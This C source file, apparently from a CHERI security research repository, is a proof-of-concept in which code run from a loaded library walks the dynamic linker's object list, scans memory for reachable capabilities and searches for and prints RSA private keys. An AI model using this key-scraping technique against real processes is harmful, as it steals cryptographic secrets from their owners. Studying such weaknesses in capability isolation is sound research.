cheri-security / sslExample / library.c
library.c
Raw
#include <stdio.h>

#include <sys/mman.h>

#include <stdlib.h>
#include <string.h>
#include <dlfcn.h>

#include <execinfo.h>
#include <cheriintrin.h>
#include <signal.h>

#include "stackScan.h"
#include "library.h"
#include <sys/queue.h>


void print_obj(void* object){

	Obj_Entry* obj = (Obj_Entry*)object;

	printf("Magic: %lld\nVersion: %lld\npath: %s\n", obj->magic, obj->version, obj->path);

	printf("\nnext ptr: %#p\n\n", TAILQ_NEXT(obj, next));

	Obj_Entry* obj_next = TAILQ_NEXT(obj, next);

	seenCapabilities *newHead = malloc(sizeof(seenCapabilities));
	Obj_Entry* obj_last;
	do{	
		printf("Magic: %lld\nVersion: %lld\npath: %s\n", obj_next->magic, obj_next->version, obj_next->path);

		void** test = (void**) obj_next;

  			test += 6;
			void* map = *test;

			seenCapabilities *head = malloc(sizeof(seenCapabilities));
		
			head->next = NULL;
			head->capability = head;

			scan_recursive(map, head, 0);
			printf("Found: \n");
			printList(head);
			obj_last = obj_next;
			newHead = head;
		
		obj_next = TAILQ_NEXT(obj_next, next);
		
	} while(obj_next != NULL);

	printf("%#p\n", newHead->capability);

	printf("index 0: %#p\n", getIndex(newHead, 0));

	char* keyAddr = (char*)cheri_address_set(newHead->capability, cheri_base_get(newHead->capability));

	printf("Found: %#p\n", keyAddr);

	printf("testing strings...\n");
	char* testString = "-----BEGIN RSA PRIVATE KEY-----";

	for(int i = 0; i < 0x200000; i++){
	
		char* testKey = keyAddr+i;
		
		if(strlen(testKey) < 100)
			continue;
		if(strncmp(testKey, testString, strlen(testString)) == 0)
			printf("%#p:\n %s\n", testKey, testKey);
	} 

	return;
}


int test(){

	void* lib = dlopen("libc.so.7", RTLD_NOW);

	printf("lib: %#p\n", (void* __capability) lib);

	print_obj(lib);

	
	

	return 0;

}